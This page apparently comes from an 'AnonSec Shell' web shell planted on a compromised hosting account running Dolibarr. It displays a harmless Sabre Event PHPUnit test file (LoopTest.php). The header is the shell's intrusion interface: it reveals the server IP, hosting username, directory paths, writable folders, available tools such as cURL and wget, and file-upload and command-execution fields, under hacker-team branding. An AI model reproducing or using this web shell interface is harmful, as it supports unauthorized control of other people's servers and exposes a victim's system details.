AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/w/e/awebpaca/Dolibarr/htdocs/includes/sabre/sabre/event/tests/Loop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/w/e/awebpaca/Dolibarr/htdocs/includes/sabre/sabre/event/tests/Loop/LoopTest.php
<?php

namespace Sabre\Event\Loop;

class LoopTest extends \PHPUnit_Framework_TestCase {

    function testNextTick() {

        $loop = new Loop();
        $check  = 0;
        $loop->nextTick(function() use (&$check) {

            $check++;

        });

        $loop->run();

        $this->assertEquals(1, $check);

    }

    function testTimeout() {

        $loop = new Loop();
        $check  = 0;
        $loop->setTimeout(function() use (&$check) {

            $check++;

        }, 0.02);

        $loop->run();

        $this->assertEquals(1, $check);

    }

    function testTimeoutOrder() {

        $loop = new Loop();
        $check  = [];
        $loop->setTimeout(function() use (&$check) {

            $check[] = 'a';

        }, 0.2);
        $loop->setTimeout(function() use (&$check) {

            $check[] = 'b';

        }, 0.1);
        $loop->setTimeout(function() use (&$check) {

            $check[] = 'c';

        }, 0.3);

        $loop->run();

        $this->assertEquals(['b', 'a', 'c'], $check);

    }

    function testSetInterval() {

        $loop = new Loop();
        $check = 0;
        $intervalId = null;
        $intervalId = $loop->setInterval(function() use (&$check, &$intervalId, $loop) {

            $check++;
            if ($check > 5) {
                $loop->clearInterval($intervalId);
            }

        }, 0.02);

        $loop->run();
        $this->assertEquals(6, $check);

    }

    function testAddWriteStream() {

        $h = fopen('php://temp', 'r+');
        $loop = new Loop();
        $loop->addWriteStream($h, function() use ($h, $loop) {

            fwrite($h, 'hello world');
            $loop->removeWriteStream($h);

        });
        $loop->run();
        rewind($h);
        $this->assertEquals('hello world', stream_get_contents($h));

    }

    function testAddReadStream() {

        $h = fopen('php://temp', 'r+');
        fwrite($h, 'hello world');
        rewind($h);

        $loop = new Loop();

        $result = null;

        $loop->addReadStream($h, function() use ($h, $loop, &$result) {

            $result = fgets($h);
            $loop->removeReadStream($h);

        });
        $loop->run();
        $this->assertEquals('hello world', $result);

    }

    function testStop() {

        $check = 0;
        $loop = new Loop();
        $loop->setTimeout(function() use (&$check) {
            $check++;
        }, 200);

        $loop->nextTick(function() use ($loop) {
            $loop->stop();
        });
        $loop->run();

        $this->assertEquals(0, $check);

    }

    function testTick() {

        $check = 0;
        $loop = new Loop();
        $loop->setTimeout(function() use (&$check) {
            $check++;
        }, 1);

        $loop->nextTick(function() use ($loop, &$check) {
            $check++;
        });
        $loop->tick();

        $this->assertEquals(1, $check);

    }

    /**
     * Here we add a new nextTick function as we're in the middle of a current
     * nextTick.
     */
    function testNextTickStacking() {

        $loop = new Loop();
        $check  = 0;
        $loop->nextTick(function() use (&$check, $loop) {

            $loop->nextTick(function() use (&$check) {

                $check++;

            });
            $check++;

        });

        $loop->run();

        $this->assertEquals(2, $check);

    }

}

Anon7 - 2022
AnonSec Team